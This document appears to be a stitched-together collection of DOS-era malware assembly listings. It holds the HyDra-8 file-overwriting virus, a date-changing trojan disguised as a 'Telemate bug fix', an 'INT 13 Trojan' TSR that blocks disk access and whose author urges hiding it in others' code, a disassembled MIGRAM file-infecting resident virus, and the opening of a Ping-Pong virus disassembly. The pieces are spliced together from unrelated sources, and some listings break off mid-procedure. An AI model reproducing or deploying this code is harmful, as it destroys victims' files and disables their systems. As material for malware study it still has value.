;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_209:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JNZ LOC_210 ; Jump if not zero
MOV DI,[DI]
ADD WORD PTR [BP+4],2
PUSH DS
POP ES
OR DI,DI ; Zero ?
JMP SHORT LOC_211 ; (11E4)
LOC_210:
LES DI,DWORD PTR [DI] ; Load 32 bit ptr
ADD WORD PTR [BP+4],4
MOV AX,ES
OR AX,DI
LOC_211:
JNZ LOC_212 ; Jump if not zero
PUSH DS
POP ES
MOV DI,3DEH
LOC_212:
CALL SUB_40 ; (0EC8)
CMP CX,SS:DATA_131E[BP] ; (817F:FF72=0)
JBE LOC_213 ; Jump if below or =
MOV CX,SS:DATA_131E[BP] ; (817F:FF72=0)
LOC_213:
JMP LOC_223 ; (1294)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_214:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV CX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR CX,CX ; Zero ?
JGE LOC_215 ; Jump if > or =
MOV CX,6
LOC_215:
PUSH DI
PUSH CX
LEA BX,[BP-85H] ; Load effective addr
PUSH BX
PUSH DX
MOV AX,1
AND AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
PUSH AX
MOV AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
TEST AX,80H
JZ LOC_216 ; Jump if zero
MOV AX,2
MOV WORD PTR [BP-2],4
JMP SHORT LOC_218 ; (124A)
LOC_216:
TEST AX,100H
JZ LOC_217 ; Jump if zero
MOV AX,8
MOV WORD PTR [BP-2],0AH
JMP SHORT LOC_218 ; (124A)
LOC_217:
MOV WORD PTR [BP-2],8
MOV AX,6
LOC_218:
PUSH AX
CALL SUB_37 ; (0E85)
MOV AX,[BP-2]
ADD [BP+4],AX
PUSH SS
POP ES
LEA DI,[BP-85H] ; Load effective addr
LOC_219:
TEST WORD PTR SS:DATA_126E[BP],8 ; (817F:FF6A=0)
JZ LOC_221 ; Jump if zero
MOV DX,SS:DATA_130E[BP] ; (817F:FF70=0)
OR DX,DX ; Zero ?
JLE LOC_221 ; Jump if < or =
LOC_220:
CALL SUB_40 ; (0EC8)
SUB DX,CX
JLE LOC_221 ; Jump if < or =
MOV SS:DATA_133E[BP],DX ; (817F:FF76=0)
LOC_221:
MOV AL,SS:DATA_132E[BP] ; (817F:FF75=0)
OR AL,AL ; Zero ?
JZ LOC_222 ; Jump if zero
CMP BYTE PTR ES:[DI],2DH ; '-'
JE LOC_222 ; Jump if equal
SUB WORD PTR SS:DATA_133E[BP],1 ; (817F:FF76=0)
ADC WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
DEC DI
MOV ES:[DI],AL
LOC_222:
CALL SUB_40 ; (0EC8)
LOC_223:
MOV SI,DI
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV BX,SS:DATA_130E[BP] ; (817F:FF70=0)
MOV AX,5
AND AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
CMP AX,5
JNE LOC_224 ; Jump if not equal
MOV AH,SS:DATA_128E[BP] ; (817F:FF6E=0)
CMP AH,6FH ; 'o'
JNE LOC_225 ; Jump if not equal
CMP WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
JG LOC_224 ; Jump if >
MOV WORD PTR SS:DATA_133E[BP],1 ; (817F:FF76=0)
LOC_224:
JMP SHORT LOC_227 ; (12E1)
DB 90H
LOC_225:
CMP AH,78H ; 'x'
JE LOC_226 ; Jump if equal
CMP AH,58H ; 'X'
JNE LOC_227 ; Jump if not equal
LOC_226:
OR WORD PTR SS:DATA_126E[BP],40H ; (817F:FF6A=0)
DEC BX
DEC BX
SUB WORD PTR SS:DATA_133E[BP],2 ; (817F:FF76=0)
JGE LOC_227 ; Jump if > or =
MOV WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
LOC_227:
ADD CX,SS:DATA_133E[BP] ; (817F:FF76=0)
TEST WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JNZ LOC_230 ; Jump if not zero
JMP SHORT LOC_229 ; (12F5)
LOC_228:
MOV AL,20H ; ' '
CALL SUB_41 ; (0ED5)
DEC BX
LOC_229:
CMP BX,CX
JG LOC_228 ; Jump if >
LOC_230:
TEST WORD PTR SS:DATA_126E[BP],40H ; (817F:FF6A=0)
JZ LOC_231 ; Jump if zero
MOV AL,30H ; '0'
CALL SUB_41 ; (0ED5)
MOV AL,SS:DATA_128E[BP] ; (817F:FF6E=0)
CALL SUB_41 ; (0ED5)
LOC_231:
MOV DX,SS:DATA_133E[BP] ; (817F:FF76=0)
OR DX,DX ; Zero ?
JLE LOC_236 ; Jump if < or =
SUB CX,DX
SUB BX,DX
MOV AL,ES:[SI]
CMP AL,2DH ; '-'
JE LOC_232 ; Jump if equal
CMP AL,20H ; ' '
JE LOC_232 ; Jump if equal
CMP AL,2BH ; '+'
JNE LOC_233 ; Jump if not equal
LOC_232:
LODS BYTE PTR ES:[SI] ; String [si] to al
CALL SUB_41 ; (0ED5)
DEC CX
DEC BX
LOC_233:
XCHG CX,DX
JCXZ LOC_235 ; Jump if cx=0
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_242:
MOV [BP+6],SI
MOV DI,[BP+4]
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JNZ LOC_243 ; Jump if not zero
MOV DI,[DI]
ADD WORD PTR [BP+4],2
PUSH DS
POP ES
JMP SHORT LOC_244 ; (137D)
LOC_243:
LES DI,DWORD PTR [DI] ; Load 32 bit ptr
ADD WORD PTR [BP+4],4
LOC_244:
MOV AX,50H
SUB AL,[BP-53H]
ADD AX,[BP-56H]
MOV ES:[DI],AX
JMP LOC_164 ; (0F09)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_245:
MOV SI,SS:DATA_134E[BP] ; (817F:FF78=0)
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV AL,25H ; '%'
LOC_246:
CALL SUB_41 ; (0ED5)
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JNZ LOC_246 ; Jump if not zero
LOC_247:
CMP BYTE PTR [BP-53H],50H ; 'P'
JGE LOC_248 ; Jump if > or =
CALL SUB_42 ; (0EDD)
LOC_248:
POP ES
MOV AX,[BP-56H]
JMP SHORT LOC_249 ; (13AD)
LOC_249:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 8
SUB_44 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV SI,[BP+6]
MOV DI,[BP+4]
MOV AX,[SI]
ADD [DI],AX
MOV AX,DS:DATA_35E ; (7FC4:04A4=0AC26H)
CMP AX,SI
JNE LOC_252 ; Jump if not equal
MOV DS:DATA_35E,DI ; (7FC4:04A4=0AC26H)
JMP SHORT LOC_253 ; (141A)
LOC_252:
MOV AX,[SI]
ADD AX,SI
MOV [BP-2],AX
MOV BX,[BP-2]
MOV [BX+2],DI
LOC_253:
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_44 ENDP
SUB_46 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV SI,[BP+4]
DEC WORD PTR [SI]
MOV AX,[SI]
ADD AX,SI
MOV [BP-2],AX
MOV DI,[SI+2]
TEST WORD PTR [DI],1
JNZ LOC_259 ; Jump if not zero
CMP SI,DS:DATA_37E ; (7FC4:04A8=87C5H)
JE LOC_259 ; Jump if equal
MOV AX,[SI]
ADD [DI],AX
MOV BX,[BP-2]
MOV [BX+2],DI
MOV SI,DI
JMP SHORT LOC_260 ; (14B4)
LOC_259:
PUSH SI
CALL SUB_43 ; (13B5)
POP CX
LOC_260:
MOV BX,[BP-2]
TEST WORD PTR [BX],1
JNZ LOC_261 ; Jump if not zero
PUSH WORD PTR [BP-2]
PUSH SI
CALL SUB_44 ; (13EE)
POP CX
POP CX
LOC_261:
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_46 ENDP
SUB_47 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
OR SI,SI ; Zero ?
JNZ LOC_262 ; Jump if not zero
JMP SHORT LOC_264 ; (14F0)
LOC_262:
MOV AX,SI
ADD AX,0FFFCH
MOV SI,AX
CMP SI,DS:DATA_35E ; (7FC4:04A4=0AC26H)
JNE LOC_263 ; Jump if not equal
CALL SUB_45 ; (1425)
JMP SHORT LOC_264 ; (14F0)
LOC_263:
PUSH SI
CALL SUB_46 ; (147E)
POP CX
LOC_264:
POP SI
POP BP
RETN
SUB_47 ENDP
SUB_49 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,1AH
MOV DX,[BP+6]
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
MOV CX,[BP+8]
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_266 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_267 ; (152B)
LOC_266:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_267 ; (152B)
LOC_267:
POP BP
RETN
SUB_49 ENDP
SUB_50 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,1AH
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_268 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_269 ; (1547)
LOC_268:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_269 ; (1547)
LOC_269:
POP BP
RETN
SUB_50 ENDP
DB 55H, 8BH, 0ECH, 0FFH, 76H, 6
DB 0FFH, 76H, 8, 8BH, 5EH, 4
DB 0FFH, 37H, 0E8H, 52H, 0F6H, 8BH
DB 0E5H, 8BH, 46H, 6, 8BH, 5EH
DB 4, 1, 7, 8BH, 1FH, 0C6H
DB 7, 0, 33H, 0C0H, 0EBH, 0
DB 5DH, 0C2H, 6, 0
SUB_51 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+4]
MOV BYTE PTR [BX],0
MOV AX,1549H
PUSH AX
LEA AX,[BP+4] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+6]
LEA AX,[BP+8] ; Load effective addr
PUSH AX
CALL SUB_39 ; (0EB4)
JMP SHORT LOC_270 ; (158E)
LOC_270:
POP BP
RETN
SUB_51 ENDP
DB 55H, 8BH, 0ECH, 8BH, 5EH, 4
DB 0C6H, 7, 0, 0B8H, 49H, 15H
DB 50H, 8DH, 46H, 4, 50H, 0FFH
DB 76H, 6, 0FFH, 76H, 8, 0E8H
DB 0AH, 0F9H, 0EBH, 0, 5DH, 0C3H
DB 55H, 8BH, 0ECH, 56H, 57H, 8AH
DB 46H, 4, 8BH, 4EH, 6, 8BH
DB 56H, 8, 8BH, 5EH, 0AH, 0CDH
DB 25H, 5BH, 72H, 4, 33H, 0C0H
DB 0EBH, 8, 0A3H, 94H, 0, 0B8H
DB 0FFH, 0FFH, 0EBH, 0
LOC_271:
POP DI
POP SI
POP BP
RETN
SUB_52 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV AL,[BP+4]
MOV CX,[BP+6]
MOV DX,[BP+8]
MOV BX,[BP+0AH]
INT 26H ; Absolute disk write, drive al
POP BX
JC LOC_272 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_273 ; (15F6)
LOC_272:
MOV DATA_78,AX ; (8134:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_273 ; (15F6)
LOC_273:
POP DI
POP SI
POP BP
RETN
SUB_52 ENDP
dec byte ptr cs:data_1e[bx] ; (7415:00B3=0)
jz loc_ret_8 ; Jump if zero
jmp loc_1 ; (035A)
loc_ret_8:
retn
sub_1 endp
db 20h, 46h, 49h, 53h, 48h, 20h
db 46h
seg_a ends
end start
;-------------------------------------------------------------------;
; Simple little program to change the date to July 13th, 1990 ;
; Which just happens to be a Friday...what a coincidence.... ;
; This should be great fun if you have a virus or a program that ;
; goes *BOOM* on Friday the 13th, such as the Israel strain ;
; Have fun, and remember, I'm not responsible if you get your lazy ;
; ass busted while trying to bring down the damn Pentagon ;
; Kryptic Night - SMC - RaCK - U<< - PhD ;
;-------------------------------------------------------------------;
CODE SEGMENT
Assume CS:code,DS:code
ORG 100h
start: Jmp begin
text1 db ' Telemate bug fix for version 3.0+$ ' ;Bogus filler text
text2 db ' TM.EXE fixed!$ ' ;Bogus filler text
text3 db 07h,'Error! Cannot alter TM.EXE$ ' ;Printed after change
Begin proc NEAR
mov ah,05h ;Function 5 - Set Real Time Clock
mov cx,1990h ;What century
mov dx,0713h ;Month/day
int 1ah ;Execute
mov ah,09h ;Funtion 9 - Print string
lea dx,text3 ;What text to print
int 21h ;Execute function 09
int 20h ;Quit .COM file
begin endp
CODE ENDS ;End segment
END start ;End program
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
HYDRA8 PROC FAR
START:
JMP LOC_2 ; (01E2)
DB 59H, 44H, 00H, 00H
DATA_4 DB 'HyDra-8 Beta - Not For Release'
DB '. *.CO?'
DB 0
DATA_7 DW 0, 84FCH
DATA_9 DW 0
DATA_10 DB 0
DB 29 DUP (0)
DATA_11 DB 0
DB 0, 0, 0, 0, 0, 0
DATA_12 DB 0
DB 0, 0, 0, 0, 0, 0
COPYRIGHT DB 'Copyright (c)'
DB ' 1991 by C.A.V.E. '
DATA_13 DB 2AH
DB 2EH, 45H, 58H, 45H, 00H
DATA_14 DB 33H
DB 0C9H, 1EH, 52H,0E8H, 06H, 00H
DB 0E8H, 13H, 00H,0EBH, 36H, 90H
DB 0BEH, 48H, 01H,0BFH, 5AH, 01H
DB 0B9H, 12H, 00H
LOCLOOP_1:
XOR BYTE PTR [SI],0F5H
MOVSB ; Mov [si] to es:[di]
LOOP LOCLOOP_1 ; Loop if cx > 0
RETN
MOV AX,0F00H
INT 10H ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
MOV AH,0
INT 10H ; Video display ah=functn 00h
; set display mode in al
MOV AX,200H
MOV DH,0CH
MOV DL,1FH
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
XOR DX,DX ; Zero register
MOV DX,OFFSET DATA_12
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
MOV AX,200H
MOV DH,18H
MOV DL,0
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
RETN
MOV AX,4C00H
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
ADD [BP+SI-6563H],AH
CMC ; Complement carry
PUSHF ; Push flags
XCHG DH,CH
MOV DI,DATA_18E
DB 9BH,0F5H,0B2H, 94H, 99H, 81H
DB 0CAH,0D1H
LOC_2:
PUSH AX
MOV AX,CS
ADD AX,1000H
XOR DI,DI ; Zero register
MOV CX,1EFH
MOV SI,OFFSET DS:[100H]
MOV ES,AX
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
MOV DX,OFFSET DATA_4+22H
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_6 ; Jump if carry Set
LOC_3:
MOV AH,3DH ; '='
MOV AL,2
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
PUSH ES
POP DS
MOV AX,3F00H
MOV CX,0FFFFH
MOV DX,DATA_16E
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
ADD AX,1EFH
MOV CS:DATA_9,AX
CMP WORD PTR DS:DATA_17E,4459H
JNE LOC_4 ; Jump if not equal
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_7 ; Jump if carry Set
JMP SHORT LOC_3 ; (0204)
LOC_4:
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_5 ; Jump if carry Set
MOV AH,40H ; '@'
XOR DX,DX ; Zero register
MOV CX,CS:DATA_9
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_5:
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
LOC_6:
MOV AH,1AH
MOV DX,DATA_1E
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
JMP SHORT LOC_10 ; (02B0)
DB 90H
LOC_7:
CLC ; Clear carry flag
XOR CX,CX ; Zero register
PUSH DS
PUSH DX
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV DX,OFFSET DATA_13
MOV AH,4EH ; 'N'
XOR CX,CX ; Zero register
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_6 ; Jump if carry Set
LOC_8:
MOV AH,3CH ; '<'
XOR CX,CX ; Zero register
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
MOV BX,AX
JC LOC_6 ; Jump if carry Set
MOV AX,3D02H
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
CLC ; Clear carry flag
XOR DX,DX ; Zero register
MOV AH,40H ; '@'
MOV DX,OFFSET DATA_14
MOV CX,5AH
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
CMP AX,5AH
JB LOC_9 ; Jump if below
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JC LOC_9 ; Jump if carry Set
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JNC LOC_8 ; Jump if carry=0
LOC_9:
MOV AX,4C00H
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
LOC_10:
XOR DI,DI ; Zero register
MOV SI,OFFSET DATA_15
MOV CX,22H
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
POP BX
MOV CS:DATA_7,0
MOV WORD PTR CS:DATA_7+2,ES
POP BX
JMP DWORD PTR CS:DATA_7
DATA_15 DB 1EH
DB 07H,0B9H,0FFH,0FFH,0BEH,0EFH
DB 02H,0BFH, 00H, 01H, 2BH,0CEH
DB 0F3H,0A4H, 2EH,0C7H, 06H, 00H
DB 01H, 00H, 01H, 2EH, 8CH, 1EH
DB 02H, 01H, 8BH,0C3H, 2EH,0FFH
DB 2EH, 00H, 01H,0CDH
DB 20H
HYDRA8 ENDP
SEG_A ENDS
END START
;*****************************************************************************
; The High Evolutionary's INT 13 Trojan
;*****************************************************************************
;
; Development Notes:
; (Dec.1O.9O)
;
; Well, I was screwing around with TSR's the other day and I got the idea,
; "Hmm. I wonder what would happen if you negated INT 13..." This trojan/TSR
; program answers my query.
;
; It's really a big mess. You can't access any file on the directory, you can't
; DIR anything, can't TYPE anything, I think the only thing you can do is
; DEL which is handled by INT 21.
;
; Well, in any event, put this routine in any nifty source code you see and
; then compile it... It will confuse the fuck out of any 100% "Lame" user.
;
; Have fun...
;
; -= The High Evolutionary =-
;
;*****************************************************************************
; Copyright (C) 199O by The RABID Nat'nl Development Corp.
;*****************************************************************************
code segment
assume cs:code,ds:code
org 100h
start: jmp init_vectors
mesg db 'INT 13 Trojan by The High Evolutionary'
crud db '(C) 199O by RABID Nat''nl Development Corp.'
crap dd ?
program proc far
assume cs:code,ds:nothing
mov ax,4c00h ; Terminate Program with exit code 00
int 21h ; Call DOS
program endp
;
; The TSR initialization shit happens here...
;
init_vectors proc near
assume cs:code,ds:code
mov ah,35h ; ask for int vector
mov al,13h ; intercept INT 13
int 21h ; Call DOS
mov word ptr crap,bx
mov word ptr crap[2],es
mov ah,25h ; set int value
mov al,13h ; set for INT 13
mov dx,offset program ; Tell the TSR what to do when accessed
int 21h ; Call DOS
mov dx,offset init_vectors ; Load in this segment into DX
int 27h ; Make the sucker in DX TSR...
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
migram proc far
start:
jmp loc_22 ; (0449)
db 0C3h
db 23 dup (0C3h)
db 2Ah, 2Eh, 5Ah, 49h, 50h, 0
data_17 dw 0C3C3h
data_18 dw 0C3C3h
data_19 db 0, 0
data_20 dw 0
data_21 dw 0
data_22 dw 0
data_23 dw 7382h
data_24 dd 00000h
data_25 dw 0
data_26 dw 7382h
data_27 dd 00000h
data_28 dw 0
data_29 dw 7382h
data_30 db 0Ah, 0Dh, ' ЩЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭ'
db 'Л', 0Ah, 0Dh, ' К MIGRAM VIRUS '
db '1.0 К', 0Ah, 0Dh, ' К (C) 19'
db '91 IVL К', 0Ah, 0Dh, ' ШЭЭЭЭЭ'
db 'ЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭМ', 0Ah, 0Dh, 0Ah
db 0Dh, '$'
db 3Dh, 4Dh, 4Bh, 75h, 9, 55h
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
db 3Dh, 0, 6Ch, 75h, 5, 80h
db 0FBh, 0, 74h, 3
loc_1:
jmp loc_13 ; (0277)
loc_2:
push es
push ds
push di
push si
push bp
push dx
push cx
push bx
push ax
call sub_6 ; (03CF)
call sub_7 ; (040C)
cmp ax,6C00h
jne loc_3 ; Jump if not equal
mov dx,si
loc_3:
mov cx,80h
mov si,dx
locloop_4:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],5049h
je loc_7 ; Jump if equal
cmp word ptr [si],4558h
je loc_6 ; Jump if equal
loc_5:
jmp short loc_12 ; (026B)
db 90h
loc_6:
cmp word ptr [si-2],452Eh
je loc_8 ; Jump if equal
jmp short loc_5 ; (01FE)
loc_7:
cmp word ptr [si-2],5A2Eh
jne loc_5 ; Jump if not equal
loc_8:
mov ax,3D02h
call sub_5 ; (03C8)
jc loc_12 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5 ; (03C8)
mov cs:data_20,cx ; (7382:0127=0)
mov cs:data_21,dx ; (7382:0129=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5 ; (03C8)
jc loc_10 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_9 ; Jump if not equal
call sub_1 ; (027C)
jmp short loc_10 ; (0254)
loc_9:
call sub_4 ; (03AA)
loc_10:
jc loc_11 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_20 ; (7382:0127=0)
mov dx,cs:data_21 ; (7382:0129=0)
call sub_5 ; (03C8)
loc_11:
mov ah,3Eh ; '>'
call sub_5 ; (03C8)
loc_12:
call sub_7 ; (040C)
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_13:
jmp cs:data_24 ; (7382:012F=0)
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr
mov ds:data_5e,ax ; (0000:0090=5BFh)
mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h)
les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=20D0h)
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_7 endp
sub_10 proc near
mov ax,4B4Dh
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_23 ; Jump if carry Set
jmp loc_33 ; (057D)
loc_23:
pop si
push si
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
mov cs:data_42e[si],ax ; (7382:FCEA=0)
mov cs:data_43e[si],es ; (7382:FCEC=0)
les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr
mov cs:data_40e[di],bx ; (7382:FCE2=0)
mov cs:data_41e[di],es ; (7382:FCE4=0)
mov ax,ds:data_7e ; (0000:0102=0F000h)
cmp ax,0F000h
jne loc_31 ; Jump if not equal
mov dl,80h
mov ax,ds:data_8e ; (0000:0106=0F000h)
cmp ax,0F000h
je loc_24 ; Jump if equal
cmp ah,0C8h
jb loc_31 ; Jump if below
cmp ah,0F4h
jae loc_31 ; Jump if above or =
test al,7Fh
jnz loc_31 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h)
jne loc_31 ; Jump if not equal
mov dl,ds:data_45e ; (F000:0002=40h)
loc_24:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_25:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_26 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_27 ; Jump if equal
jnz loc_28 ; Jump if not zero
loc_26:
cmp ax,0C2F6h
jne loc_29 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_28 ; Jump if not equal
loc_27:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_30 ; Jump if equal
sub si,3
loc_28:
dec si
dec si
loc_29:
dec si
loop locloop_25 ; Loop if cx > 0
jmp short loc_31 ; (04EC)
loc_30:
sub si,7
mov cs:data_42e[di],si ; (7382:FCEA=0)
mov cs:data_43e[di],ds ; (7382:FCEC=0)
loc_31:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,4Eh
nop
jc loc_33 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,4Dh
stc ; Set carry flag
sbb es:data_12e,bx ; (06C7:0002=0B8C3h)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h)
call sub_8 ; (0434)
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_8 ; (0434)
add ax,ds:data_13e ; (06C7:0006=0F0EBh)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_32 ; Jump if carry Set
sub ds:data_13e,ax ; (06C7:0006=0F0EBh)
loc_32:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,34Dh
mov cx,4C3h
inc cx
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z'
mov dx,1A8h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_3e,dx ; (0000:0084=6C7h)
mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch)
sti ; Enable interrupts
dec byte ptr ds:data_9e ; (0000:047B=14h)
loc_33:
pop si
cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0)
jne loc_34 ; Jump if not equal
pop ds
mov ax,cs:data_39e[si] ; (7382:FCD8=0)
mov bx,cs:data_38e[si] ; (7382:FCD6=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_37e[si] ; (7382:FCD4=0)
push ds
pop es
call sub_9 ; (043A)
retf ; Return far
loc_34:
pop ax
mov ax,cs:data_35e[si] ; (7382:FCB6=0)
mov word ptr cs:[100h],ax ; (7382:0100=46E9h)
mov ax,cs:data_36e[si] ; (7382:FCB8=0)
mov word ptr cs:[102h],ax ; (7382:0102=0C303h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_9 ; (043A)
retn
sub_10 endp
seg_a ends
end start
; **************************************************
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
; *** Desassemblagem obtida por Miguel Vitorino ***
; *** Para : S P O O L E R - Junho de 1989 ***
; **************************************************
.RADIX 16
jmpf macro x
db 0eah
